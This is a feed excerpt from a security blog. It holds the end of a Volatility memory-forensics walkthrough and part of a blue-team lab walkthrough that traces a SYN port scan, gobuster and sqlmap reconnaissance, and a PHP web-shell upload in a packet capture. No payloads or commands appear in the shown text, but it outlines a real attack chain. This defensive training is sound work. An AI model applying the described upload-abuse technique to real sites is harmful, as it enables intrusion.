width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Volatility: Uncovering the PPID&lt;/p&gt;&#xA;&lt;p&gt;VoilÃ ! That search reveals that process &lt;code&gt;5864&lt;/code&gt; maps directly to &lt;code&gt;explorer.exe&lt;/code&gt;, the Windows shell. Since &lt;code&gt;explorer.exe&lt;/code&gt; is responsible for handling user-initiated actions like double-clicking files or executing programs, this confirms the user&amp;rsquo;s story of good, ole social engineering, where the employee reported downloading and installing what they believed to be legitimate software.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve gotten everything scoped, let&amp;rsquo;s close out this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;842px&#34; data-flex-grow=&#34;350&#34; height=&#34;228&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/0c3a36c4d54380859c5b53a3b7812175_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;528px&#34; data-flex-grow=&#34;220&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/6f0041c07d70fe9a7147bc059f54293c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This week&amp;rsquo;s investigation was a great starting point into practical &lt;strong&gt;memory forensics&lt;/strong&gt;, giving us a firsthand look at how ransomware activity can be reconstructed using volatile artifacts alone. From identifying a suspicious executable in memory, to uncovering its true name, spotting encrypted files, and finally surfacing outbound network connections, this challenge showcased just how much visibility RAM can provide during incident response. Pretty cool, right?&lt;/p&gt;&#xA;&lt;p&gt;As we worked through the memory dump, we were rebuilding the attack chain one artifact at a time. Each question flowed naturally into the next, and the investigation felt logical and intuitive as we pivoted between process listings, file scans, and network artifacts using &lt;em&gt;Volatility&lt;/em&gt;. For me, a structured approach makes it especially satisfying, since you&amp;rsquo;re not just answering questions, you&amp;rsquo;re reinforcing how real incident response workflows come together. Love it!&lt;/p&gt;&#xA;&lt;p&gt;I picked this challenge because while I&amp;rsquo;ve used &lt;em&gt;Volatility&lt;/em&gt; plenty of times, I hadn&amp;rsquo;t tried it on Windows before and wanted to see how different it felt compared to Linux. On top of that, opportunities to practice memory analysis in the real world don&amp;rsquo;t come up often. It can be intimidating at first, but challenges like this help make it click and let you get your reps in. Practice really does make perfect.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-memloot-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/memloot&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/memloot&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;GitHub — Volatility 3:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility Command Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;SANS Hunt Evil Poster:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.sans.org/posters/hunt-evil&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExifTool:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://exiftool.org/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Network Analysis  - Web Shell Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/</link>
            <pubDate>Sun, 08 Mar 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/62fbabd6ba495655625c8790ad15ffcd_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Network Analysis  - Web Shell Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-online-network-analysisweb-shell-challenge-walkthrough&#34;&gt;Blue Team Labs Online: Network Analysis — Web Shell Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;pcap-threat-hunting-with-wireshark-and-networkminer-detecting-port-scans-recon-tools-and-reverse-shell-activity&#34;&gt;PCAP Threat Hunting with Wireshark and NetworkMiner: Detecting Port Scans, Recon Tools, and Reverse Shell Activity.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;62fbabd6ba495655625c8790ad15ffcd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/62fbabd6ba495655625c8790ad15ffcd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a clear and detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Network Analysis — Web Shell&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place. This one leans heavily into network‑level investigation, where every PCAP tells a story and every packet might be a clue.&lt;/p&gt;&#xA;&lt;p&gt;In this challenge, we’re stepping into the role of a network defender investigating a suspicious SIEM alert for port scanning activity. An internal host suddenly began probing another system, and it’s our job to figure out what’s happening and confirm whether it’s malicious. Fortunately, we’re given a &lt;strong&gt;PCAP&lt;/strong&gt; containing the full exchange, so we have everything we need to analyze what’s going on.&lt;/p&gt;&#xA;&lt;p&gt;We’ll be using &lt;strong&gt;Wireshark&lt;/strong&gt; to break down the traffic patterns and identify indicators of port scanning, followed by &lt;strong&gt;NetworkMiner&lt;/strong&gt; to dig deeper into user agents, parameters, web shells, and encoded command execution. Along the way, we’ll jump over to &lt;em&gt;CyberChef&lt;/em&gt; to clean up payloads, decode some malicious commands, and figure out exactly what kind of shell connection is established.&lt;/p&gt;&#xA;&lt;p&gt;I’ll walk through each stage clearly so you can build your own workflow for approaching similar packet‑driven investigations. By the end, you’ll have a solid sense of how to pivot between tools like &lt;em&gt;Wireshark&lt;/em&gt;, &lt;em&gt;NetworkMiner&lt;/em&gt;, and &lt;em&gt;CyberChef&lt;/em&gt; to validate detections, uncover malicious activity, and piece together an attack chain hiding inside raw network traffic. Let’s go!&lt;/p&gt;&#xA;&lt;p&gt;And, hey, if you find this walkthrough helpful, whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — consider following me for more weekly deep dives.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;BTLO&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this walkthrough, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-ip-responsible-for-conducting-the-port-scan-activity&#34;&gt;What is the IP responsible for conducting the port scan activity?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-port-range-scanned-by-the-suspicious-host&#34;&gt;What is the port range scanned by the suspicious host?&#xA;&lt;/h4&gt;&lt;p&gt;Let’s get cooking. After extracting the challenge files, we stumble across the artifact we need: &lt;code&gt;BTLOPortScan.pcap&lt;/code&gt;. This file contains captured network traffic, giving us visibility into the communication that triggered the alert.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ec91d5be3eed70f86ea4e287e6cf3d30_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;500px&#34; data-flex-grow=&#34;208&#34; height=&#34;384&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/ec91d5be3eed70f86ea4e287e6cf3d30_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Challenge File&lt;/p&gt;&#xA;&lt;p&gt;To start, we’ll load the PCAP into &lt;strong&gt;Wireshark&lt;/strong&gt;. One of the quickest ways to spot scanning behavior is to look at the TCP conversations. This gives us a high‑level view of which hosts are talking and which ports they’re communicating over.&lt;/p&gt;&#xA;&lt;p&gt;To reach this view, navigate to &lt;em&gt;Statistics &amp;gt; Conversations &amp;gt; TCP&lt;/em&gt; and sort the &lt;em&gt;Port B&lt;/em&gt; (destination port) column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4aa4b33b991d5ffba03099bbfca39581_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;353px&#34; data-flex-grow=&#34;147&#34; height=&#34;543&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/4aa4b33b991d5ffba03099bbfca39581_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying port scan activity through the conversations view&lt;/p&gt;&#xA;&lt;p&gt;Right away, we see a pattern emerge: the Address A (source IP address) &lt;code&gt;10.251.96.4&lt;/code&gt; sends a couple of packets to each well‑known port, incrementing one by one from port &lt;code&gt;1&lt;/code&gt; up through port &lt;code&gt;1024&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;708632ec87c7d0872c9cdbae3603b731_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;437px&#34; data-flex-grow=&#34;182&#34; height=&#34;439&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/708632ec87c7d0872c9cdbae3603b731_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Identifying the top end of the port range scanned by the suspicious IP&lt;/p&gt;&#xA;&lt;p&gt;This behavior is characteristic of a vertical port scan, where a single host probes many ports on a single destination. With that, we’ve got everything needed to answer &lt;strong&gt;Questions 1 &amp;amp; 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;91e54c96de9ae6b9f2357f2cb97cdb24_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1324px&#34; data-flex-grow=&#34;551&#34; height=&#34;145&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/91e54c96de9ae6b9f2357f2cb97cdb24_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1148f006eee309497300f1e17527db51_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/1148f006eee309497300f1e17527db51_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-type-of-port-scan-conducted&#34;&gt;Question 3: What is the type of port scan conducted?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the port scan activity from the suspicious host, we need to determine the specific type of scan it performed. To illustrate this, we’ll apply a &lt;em&gt;Wireshark&lt;/em&gt; display filter to inspect the TCP communication to and from a specific port.&lt;/p&gt;&#xA;&lt;p&gt;On the &lt;em&gt;Wireshark&lt;/em&gt; home screen, we can enter the following filter to isolate traffic from and to the suspicious host over TCP port &lt;code&gt;1&lt;/code&gt;, for example:&lt;/p&gt;&#xA;&lt;p&gt;ip.addr==10.251.96.4 &amp;amp;&amp;amp; tcp.port==1&lt;/p&gt;&#xA;&lt;p&gt;The first packet shows that the suspicious host sends a TCP &lt;code&gt;SYN&lt;/code&gt; packet to the target on TCP port &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;45e6d7a28d845de85edcef453e5ec852_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;139&#34; height=&#34;575&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/45e6d7a28d845de85edcef453e5ec852_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wireshark: Looking at the TCP conversation for port 1&lt;/p&gt;&#xA;&lt;p&gt;The destination host responds with a &lt;code&gt;RST&lt;/code&gt; packet because the port is closed. This behavior aligns with how &lt;a class=&#34;link&#34; href=&#34;https://nmap.org/book/synscan.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Nmap&lt;/strong&gt;&lt;/a&gt; describes a SYN scan: &lt;em&gt;“the OS responds to the unexpected SYN/ACK with a RST packet&amp;hellip; Because the three-way handshake is never completed, SYN scan is sometimes called half-open scanning”&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://nmap.org/book/synscan.html&#34;  title=&#34;https://nmap.org/book/synscan.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TCP SYN (Stealth) Scan (-sS) | Nmap Network Scanning&lt;/strong&gt;&#xA;_SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands…_nmap.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://nmap.org/book/synscan.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In other words, the suspicious host initiates the handshake with a &lt;code&gt;SYN&lt;/code&gt;, receives either a &lt;code&gt;SYN/ACK&lt;/code&gt; or &lt;code&gt;RST&lt;/code&gt;, and never completes the full connection. That’s the indicator of a &lt;strong&gt;TCP SYN scan&lt;/strong&gt; which answers &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b7a3069f5b25a1af0eac860cd516f9eb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/b7a3069f5b25a1af0eac860cd516f9eb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-two-more-tools-were-used-to-perform-reconnaissance-against-open-ports-what-werethey&#34;&gt;Question 4: Two more tools were used to perform reconnaissance against open ports, what were they?&#xA;&lt;/h3&gt;&lt;p&gt;To answer this one, we’ll pivot away from &lt;em&gt;Wireshark&lt;/em&gt; over to another excellent network forensics tool: &lt;a class=&#34;link&#34; href=&#34;https://www.netresec.com/?page=NetworkMiner&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NetworkMiner&lt;/strong&gt;&lt;/a&gt;. It offers robust PCAP analysis capabilities, which makes it handy for identifying what tools were used during the reconnaissance phase. Our goal is to examine the &lt;em&gt;User‑Agent&lt;/em&gt; headers in the captured traffic to see if they reveal anything interesting.&lt;/p&gt;&#xA;&lt;p&gt;There’s just one catch: &lt;em&gt;NetworkMiner&lt;/em&gt; doesn’t ingest PCAPNG files, so we need to convert the challenge’s PCAPNG into a standard PCAP. In &lt;em&gt;Wireshark&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;File &amp;gt; Save As&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select the &lt;code&gt;Wireshark/tcpdump/...-pcap&lt;/code&gt; option to save a copy in PCAP format&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;With the file converted, launch &lt;strong&gt;NetworkMiner&lt;/strong&gt; and open the new PCAP.&#xA;&lt;strong&gt;IMPORTANT:&lt;/strong&gt; Make sure you’re working in a safe analysis environment. BTLO notes that this PCAP contains real malware, and &lt;em&gt;NetworkMiner&lt;/em&gt; will automatically reassemble any files reconstructed from the traffic, including malicious ones.&lt;/p&gt;&#xA;&lt;p&gt;Once the file loads:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click the &lt;em&gt;Parameters&lt;/em&gt; tab&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;em&gt;User-Agent&lt;/em&gt; in the &lt;em&gt;Filter keyword&lt;/em&gt; box&lt;/li&gt;&#xA;&lt;li&gt;Sort the results by &lt;em&gt;Parameter value&lt;/em&gt; to group similar agents together&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;658aa7d677c31cd92db211d307f4cb2e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/658aa7d677c31cd92db211d307f4cb2e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Filtered view of User-Agent headers exposing recon tools&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Two entries stand out immediately as well‑known reconnaissance tools: &lt;strong&gt;gobuster&lt;/strong&gt; and &lt;strong&gt;sqlmap&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/OJ/gobuster&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Gobuster&lt;/strong&gt;&lt;/a&gt; is a directory brute‑forcing tool often used during web enumeration.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://sqlmap.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sqlmap&lt;/strong&gt;&lt;/a&gt; is an automated penetration testing tool for detecting and exploiting SQL injection vulnerabilities.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Both tools conveniently identify themselves in the User‑Agent header (for example, &lt;code&gt;gobuster/3.0.1&lt;/code&gt; or &lt;code&gt;sqlmap/1.4&lt;/code&gt;), which is why sorting by parameter value works so well here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6fbc1f8f13123ffe42a5ebd89ce9b61e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1116px&#34; data-flex-grow=&#34;465&#34; height=&#34;172&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/6fbc1f8f13123ffe42a5ebd89ce9b61e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-name-of-the-php-file-through-which-the-attacker-uploaded-a-webshell&#34;&gt;Question 5: What is the name of the php file through which the attacker uploaded a web shell?&#xA;&lt;/h3&gt;&lt;p&gt;Now let’s stick with the &lt;em&gt;Parameters&lt;/em&gt; tab in &lt;em&gt;NetworkMiner&lt;/em&gt; and clear the previous filter. Instead of searching for &lt;em&gt;User-Agent&lt;/em&gt; values this time, we’ll look for the keyword &lt;code&gt;.php&lt;/code&gt; to identify anything that might hint at a file upload function an attacker could abuse.&lt;/p&gt;&#xA;&lt;p&gt;Scanning through the filtered results, we stumble across something interesting: a &lt;code&gt;POST&lt;/code&gt; request to &lt;code&gt;/upload.php&lt;/code&gt; in frame &lt;code&gt;16102&lt;/code&gt;. That might work, right?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f8b0b939df6e306a12e568f8911a6bc0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;577&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/f8b0b939df6e306a12e568f8911a6bc0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;NetworkMiner: Parameters tab showing POST request toward an upload function&lt;/p&gt;&#xA;&lt;p&gt;But this isn’t necessarily the file we’re looking for. To confirm where the upload originated, we should inspect the second entry tied to this same frame. In that entry, the &lt;code&gt;Referer&lt;/code&gt; parameter points to &lt;code&gt;/editprofile.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That’s our answer! The attacker uploaded the web shell through &lt;code&gt;editprofile.php&lt;/code&gt;, not &lt;code&gt;upload.php&lt;/code&gt;. The presence of the &lt;code&gt;Referer&lt;/code&gt; header makes this easy to see and correlates the upload action directly to the vulnerable file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e61403a1f1b2e7d1c7c006e298747153_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1263px&#34; data-flex-grow=&#34;526&#34; height=&#34;152&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-network-analysis-web-shell-challenge-walkthrough/e61403a1f1b2e7d1c7c006e298747153_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-name-of-the-web-shell-that-the-attacker-uploaded&#34;&gt;Question 6: What is the name of the web shell that the attacker uploaded?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve found the file abused to upload a web shell, let’s turn our attention to identifying the shell itself before we dive into deeper analysis. For this, we’ll stay right in the same &lt;em&gt;Parameters&lt;/em&gt; view in &lt;em&gt;NetworkMiner&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Conveniently for us, there’s a third parameter in frame &lt;code&gt;16102&lt;/code&gt;, listed directly beneath the entries we examined in the previous question. It includes a &lt;code&gt;filename&lt;/code&gt; header with the value &lt;code&gt;dbfunctions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That’s our web shell!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 